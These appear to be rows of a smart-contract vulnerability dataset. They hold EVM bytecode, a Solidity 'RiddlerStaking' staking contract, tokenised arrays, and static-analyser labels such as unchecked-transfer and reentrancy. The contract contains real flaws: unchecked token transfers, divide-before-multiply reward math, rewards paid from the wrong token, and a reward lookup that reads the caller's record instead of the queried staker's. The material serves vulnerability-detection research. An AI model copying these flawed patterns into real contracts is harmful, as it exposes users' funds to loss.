000526020600020905b81548152906001019060200180831161163057829003601f168201915b5050505050905090565b600061171a611664611f27565b8461171585604051806060016040528060258152602001612bc0602591396009600061168e611f27565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e09092919063ffffffff16565b611f2f565b6001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544311156118d25760006117c7600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154436124a090919063ffffffff16565b90506000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015411156118d0576118c860015461186f83600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546124ea90919063ffffffff16565b8161187657fe5b04600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015461257090919063ffffffff16565b9150506118d3565b505b5b919050565b33600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154431115611b0b57600061197a600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154436124a090919063ffffffff16565b90506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541115611ac257611a7b600154611a2283600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546124ea90919063ffffffff16565b81611a2957fe5b04600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015461257090919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b43600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611be857600080fd5b505af1158015611bfc573d6000803e3d6000fd5b505050506040513d6020811015611c1257600080fd5b8101908080519060200190929190505050611c2c57600080fd5b611c8182600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461257090919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055503373ffffffffffffffffffffffffffffffffffffffff167f1449c6dd7851abc30abf37f57715f492010519147cc2652fbc38202c18a6ee9083611d086114d4565b604051808381526020018281526020019250505060405180910390a25050565b6000611d3c611d35611f27565b8484612126565b6001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201549050919050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ee457600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611fb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b9c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561203b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612ac56022913960400191505060405180910390fd5b80600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121ac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b776025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612232576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612a806023913960400191505060405180910390fd5b61229e81604051806060016040528060268152602001612ae760269139600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e09092919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233381600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257090919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600083831115829061248d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612452578082015181840152602081019050612437565b50505050905090810190601f16801561247f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60006124e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123e0565b905092915050565b6000808314156124fd576000905061256a565b600082840290508284828161250e57fe5b0414612565576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b0d6021913960400191505060405180910390fd5b809150505b92915050565b6000808284019050838110156125ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061263a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129b9565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126c8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b566021913960400191505060405180910390fd5b61273481604051806060016040528060228152602001612aa360229139600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e09092919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061278c816003546124a090919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561289f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6128b48160035461257090919063ffffffff16565b60038190555061290c81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257090919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008083118290612a65576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612a2a578082015181840152602081019050612a0f565b50505050905090810190601f168015612a575780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612a7157fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e2a7973fdcd43873693ae9f0db3c5a3980d2b83314419ed7b1c8536033ca551864736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'write-after-write', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 21926, 3540, 2629, 2497, 2581, 2546, 19961, 2546, 2475, 2278, 17465, 10354, 2050, 2475, 2278, 21486, 2546, 26976, 2683, 2575, 2050, 2549, 2063, 2487, 2497, 27531, 2487, 2063, 2581, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 5641, 1011, 2654, 1008, 1013, 1013, 1008, 1008, 1008, 1030, 16475, 7375, 1997, 1996, 1063, 29464, 11890, 11387, 1065, 8278, 1012, 1008, 1008, 2023, 7375, 2003, 12943, 28199, 2000, 1996, 2126, 19204, 2015, 2024, 2580, 1012, 2023, 2965, 1008, 2008, 1037, 4425, 7337, 2038, 2000, 2022, 2794, 1999, 1037, 5173, 3206, 2478, 1063, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,668
0x9723dbc48140ee67b88254a16b3c54ad193229c7
pragma solidity ^0.8.0; // SPDX-License-Identifier: MIT import "./IERC20.sol"; import "./Ownable.sol"; import "./SafeMath.sol"; contract RiddlerStaking is Ownable { using SafeMath for uint256; uint256 public totalStaked; IERC20 public stakingToken; IERC20 public rewardToken; uint256 public apr; bool public stakingEnabled = false; struct Staker { address staker; uint256 start; uint256 staked; uint256 earned; } mapping(address => Staker) private _stakers; constructor (IERC20 _stakingToken, IERC20 _rewardToken, uint256 _startAPR) { stakingToken = _stakingToken; rewardToken = _rewardToken; apr = _startAPR; } function isStaking(address stakerAddr) public view returns (bool) { return _stakers[stakerAddr].staker == stakerAddr; } function userStaked(address staker) public view returns (uint256) { return _stakers[staker].staked; } function userEarnedTotal(address staker) public view returns (uint256) { uint256 currentlyEarned = _userEarned(staker); uint256 previouslyEarned = _stakers[msg.sender].earned; if (previouslyEarned > 0) return currentlyEarned.add(previouslyEarned); return currentlyEarned; } function _userEarned(address staker) private view returns (uint256) { require(isStaking(staker), "User is not staking."); uint256 staked = userStaked(staker); uint256 stakersStartInSeconds = _stakers[staker].start.div(1 seconds); uint256 blockTimestampInSeconds = block.timestamp.div(1 seconds); uint256 secondsStaked = blockTimestampInSeconds.sub(stakersStartInSeconds); uint256 decAPR = apr.div(100); uint256 rewardPerSec = staked.mul(decAPR).div(365).div(24).div(60).div(60); uint256 earned = rewardPerSec.mul(secondsStaked).div(10**18); return earned; } function stake(uint256 stakeAmount) external { require(stakingEnabled, "Staking is not enabled"); // Check user is registered as staker if (isStaking(msg.sender)) { _stakers[msg.sender].staked += stakeAmount; _stakers[msg.sender].earned += _userEarned(msg.sender); _stakers[msg.sender].start = block.timestamp; } else { _stakers[msg.sender] = Staker(msg.sender, block.timestamp, stakeAmount, 0); } totalStaked += stakeAmount; stakingToken.transferFrom(msg.sender, address(this), stakeAmount); } function claim() external { require(stakingEnabled, "Staking is not enabled"); require(isStaking(msg.sender), "You are not staking!?"); uint256 reward = userEarnedTotal(msg.sender); stakingToken.transfer(msg.sender, reward); _stakers[msg.sender].start = block.timestamp; _stakers[msg.sender].earned = 0; } function unstake() external { require(stakingEnabled, "Staking is not enabled"); require(isStaking(msg.sender), "You are not staking!?"); uint256 reward = userEarnedTotal(msg.sender); stakingToken.transfer(msg.sender, _stakers[msg.sender].staked.add(reward)); totalStaked -= _stakers[msg.sender].staked; delete _stakers[msg.sender]; } function emergencyWithdrawToken(IERC20 token) external onlyOwner() { token.transfer(msg.sender, token.balanceOf(address(this))); } function emergencyWithdrawTokenAmount(IERC20 token, uint256 amount) external onlyOwner() { token.transfer(msg.sender, amount); } function setState(bool onoff) external onlyOwner() { stakingEnabled = onoff; } receive() external payable {} }
0x6080604052600436106101025760003560e01c80637448a46b11610095578063a7ff0e8611610064578063a7ff0e86146102f6578063ac9f02221461031f578063acc3a93914610348578063f2fde38b14610385578063f7c618c1146103ae57610109565b80637448a46b1461023a578063817b1cd2146102775780638da5cb5b146102a2578063a694fc3a146102cd57610109565b806357ded9c9116100d157806357ded9c9146101905780636f49712b146101bb578063715018a6146101f857806372f702f31461020f57610109565b80631af032031461010e5780631cfff51b146101375780632def6620146101625780634e71d92d1461017957610109565b3661010957005b600080fd5b34801561011a57600080fd5b50610135600480360381019061013091906115d9565b6103d9565b005b34801561014357600080fd5b5061014c61056e565b6040516101599190611806565b60405180910390f35b34801561016e57600080fd5b50610177610581565b005b34801561018557600080fd5b5061018e610808565b005b34801561019c57600080fd5b506101a56109ee565b6040516101b291906118dc565b60405180910390f35b3480156101c757600080fd5b506101e260048036038101906101dd9190611552565b6109f4565b6040516101ef9190611806565b60405180910390f35b34801561020457600080fd5b5061020d610a8e565b005b34801561021b57600080fd5b50610224610b16565b6040516102319190611821565b60405180910390f35b34801561024657600080fd5b50610261600480360381019061025c9190611552565b610b3c565b60405161026e91906118dc565b60405180910390f35b34801561028357600080fd5b5061028c610bc1565b60405161029991906118dc565b60405180910390f35b3480156102ae57600080fd5b506102b7610bc7565b6040516102c4919061178b565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef9190611646565b610bf0565b005b34801561030257600080fd5b5061031d60048036038101906103189190611606565b610f01565b005b34801561032b57600080fd5b506103466004803603810190610341919061157f565b61100f565b005b34801561035457600080fd5b5061036f600480360381019061036a9190611552565b6110a8565b60405161037c91906118dc565b60405180910390f35b34801561039157600080fd5b506103ac60048036038101906103a79190611552565b6110f4565b005b3480156103ba57600080fd5b506103c36111ec565b6040516103d09190611821565b60405180910390f35b6103e1611212565b73ffffffffffffffffffffffffffffffffffffffff166103ff610bc7565b73ffffffffffffffffffffffffffffffffffffffff1614610455576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161044c9061187c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016104ab919061178b565b60206040518083038186803b1580156104c357600080fd5b505afa1580156104d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104fb9190611673565b6040518363ffffffff1660e01b81526004016105189291906117dd565b602060405180830381600087803b15801561053257600080fd5b505af1158015610546573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056a91906115ac565b5050565b600560009054906101000a900460ff1681565b600560009054906101000a900460ff166105d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c7906118bc565b60405180910390fd5b6105d9336109f4565b610618576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060f9061189c565b60405180910390fd5b600061062333610b3c565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb336106b984600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461121a90919063ffffffff16565b6040518363ffffffff1660e01b81526004016106d69291906117dd565b602060405180830381600087803b1580156106f057600080fd5b505af1158015610704573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072891906115ac565b50600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546001600082825461077d91906119e9565b92505081905550600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905560028201600090556003820160009055505050565b600560009054906101000a900460ff16610857576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084e906118bc565b60405180910390fd5b610860336109f4565b61089f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108969061189c565b60405180910390fd5b60006108aa33610b3c565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016109099291906117dd565b602060405180830381600087803b15801561092357600080fd5b505af1158015610937573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095b91906115ac565b5042600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003018190555050565b60045481565b60008173ffffffffffffffffffffffffffffffffffffffff16600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050919050565b610a96611212565b73ffffffffffffffffffffffffffffffffffffffff16610ab4610bc7565b73ffffffffffffffffffffffffffffffffffffffff1614610b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b019061187c565b60405180910390fd5b610b146000611230565b565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080610b48836112f4565b90506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015490506000811115610bb657610bad818361121a90919063ffffffff16565b92505050610bbc565b81925050505b919050565b60015481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600560009054906101000a900460ff16610c3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c36906118bc565b60405180910390fd5b610c48336109f4565b15610d535780600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016000828254610c9f9190611908565b92505081905550610caf336112f4565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000828254610d009190611908565b9250508190555042600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550610e33565b60405180608001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020014281526020018281526020016000815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020155606082015181600301559050505b8060016000828254610e459190611908565b92505081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401610eab939291906117a6565b602060405180830381600087803b158015610ec557600080fd5b505af1158015610ed9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610efd91906115ac565b5050565b610f09611212565b73ffffffffffffffffffffffffffffffffffffffff16610f27610bc7565b73ffffffffffffffffffffffffffffffffffffffff1614610f7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f749061187c565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610fb89291906117dd565b602060405180830381600087803b158015610fd257600080fd5b505af1158015610fe6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100a91906115ac565b505050565b611017611212565b73ffffffffffffffffffffffffffffffffffffffff16611035610bc7565b73ffffffffffffffffffffffffffffffffffffffff161461108b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110829061187c565b60405180910390fd5b80600560006101000a81548160ff02191690831515021790555050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201549050919050565b6110fc611212565b73ffffffffffffffffffffffffffffffffffffffff1661111a610bc7565b73ffffffffffffffffffffffffffffffffffffffff1614611170576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111679061187c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d79061185c565b60405180910390fd5b6111e981611230565b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600081836112289190611908565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006112ff826109f4565b61133e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113359061183c565b60405180910390fd5b6000611349836110a8565b905060006113a36001600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015461149290919063ffffffff16565b905060006113bb60014261149290919063ffffffff16565b905060006113d283836114a890919063ffffffff16565b905060006113ec606460045461149290919063ffffffff16565b90506000611450603c611442603c611434601861142661016d6114188a8f6114be90919063ffffffff16565b61149290919063ffffffff16565b61149290919063ffffffff16565b61149290919063ffffffff16565b61149290919063ffffffff16565b90506000611481670de0b6b3a764000061147386856114be90919063ffffffff16565b61149290919063ffffffff16565b905080975050505050505050919050565b600081836114a0919061195e565b905092915050565b600081836114b691906119e9565b905092915050565b600081836114cc919061198f565b905092915050565b6000813590506114e381611c03565b92915050565b6000813590506114f881611c1a565b92915050565b60008151905061150d81611c1a565b92915050565b60008135905061152281611c31565b92915050565b60008135905061153781611c48565b92915050565b60008151905061154c81611c48565b92915050565b60006020828403121561156857611567611b0b565b5b6000611576848285016114d4565b91505092915050565b60006020828403121561159557611594611b0b565b5b60006115a3848285016114e9565b91505092915050565b6000602082840312156115c2576115c1611b0b565b5b60006115d0848285016114fe565b91505092915050565b6000602082840312156115ef576115ee611b0b565b5b60006115fd84828501611513565b91505092915050565b6000806040838503121561161d5761161c611b0b565b5b600061162b85828601611513565b925050602061163c85828601611528565b9150509250929050565b60006020828403121561165c5761165b611b0b565b5b600061166a84828501611528565b91505092915050565b60006020828403121561168957611688611b0b565b5b60006116978482850161153d565b91505092915050565b6116a981611a1d565b82525050565b6116b881611a2f565b82525050565b6116c781611a77565b82525050565b60006116da6014836118f7565b91506116e582611b10565b602082019050919050565b60006116fd6026836118f7565b915061170882611b39565b604082019050919050565b60006117206020836118f7565b915061172b82611b88565b602082019050919050565b60006117436015836118f7565b915061174e82611bb1565b602082019050919050565b60006117666016836118f7565b915061177182611bda565b602082019050919050565b61178581611a6d565b82525050565b60006020820190506117a060008301846116a0565b92915050565b60006060820190506117bb60008301866116a0565b6117c860208301856116a0565b6117d5604083018461177c565b949350505050565b60006040820190506117f260008301856116a0565b6117ff602083018461177c565b9392505050565b600060208201905061181b60008301846116af565b92915050565b600060208201905061183660008301846116be565b92915050565b60006020820190508181036000830152611855816116cd565b9050919050565b60006020820190508181036000830152611875816116f0565b9050919050565b6000602082019050818103600083015261189581611713565b9050919050565b600060208201905081810360008301526118b581611736565b9050919050565b600060208201905081810360008301526118d581611759565b9050919050565b60006020820190506118f1600083018461177c565b92915050565b600082825260208201905092915050565b600061191382611a6d565b915061191e83611a6d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561195357611952611aad565b5b828201905092915050565b600061196982611a6d565b915061197483611a6d565b92508261198457611983611adc565b5b828204905092915050565b600061199a82611a6d565b91506119a583611a6d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156119de576119dd611aad565b5b828202905092915050565b60006119f482611a6d565b91506119ff83611a6d565b925082821015611a1257611a11611aad565b5b828203905092915050565b6000611a2882611a4d565b9050919050565b60008115159050919050565b6000611a4682611a1d565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000611a8282611a89565b9050919050565b6000611a9482611a9b565b9050919050565b6000611aa682611a4d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b7f55736572206973206e6f74207374616b696e672e000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f596f7520617265206e6f74207374616b696e67213f0000000000000000000000600082015250565b7f5374616b696e67206973206e6f7420656e61626c656400000000000000000000600082015250565b611c0c81611a1d565b8114611c1757600080fd5b50565b611c2381611a2f565b8114611c2e57600080fd5b50565b611c3a81611a3b565b8114611c4557600080fd5b50565b611c5181611a6d565b8114611c5c57600080fd5b5056fea2646970667358221220ab61de008608ce6d5e23a0c0b8540066e56286b73afc04354eb400f809c7279f64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
